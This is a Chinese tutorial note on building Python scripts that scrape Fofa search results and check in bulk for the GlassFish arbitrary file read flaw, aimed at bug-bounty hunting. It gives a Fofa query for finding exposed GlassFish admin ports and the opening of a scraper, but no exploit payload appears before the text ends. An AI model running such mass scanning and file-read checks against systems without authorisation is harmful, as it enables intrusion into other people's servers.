77：Python开发-批量Fofa&POC验证&SRC提取

本课知识点：

• Request爬虫技术，lxml数据提取，异常处理，fofa等使用说明

学习目的：

• 掌握利用公开或0day漏洞进行批量化的收集及验证脚本开发

案例1：某漏洞POC验证脚本

漏洞学习：

• 应用服务器glassfish任意文件读取漏洞（https://www.secpulse.com/archives/42277.html）

验证脚本：

glassfish任意文件读取漏洞POC

案例2：Fofa搜索结果批量采集脚本

1.手动采集

• 进入fofa网址（https://fofa.so/），搜索"glassfish" && port="4848"，找到可能存在漏洞的网站。

2.批量采集

# Author:Serena
import requests,base64,time
from lxml import etree #提前安装 lxml模块：python3 -m pip install  lxml

'''
如何实现这个漏洞批量化：
    1.获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
        1.1将请求的数据进行筛选
    2.批量请求地址信息进行判断是否存在-单线程和多线程
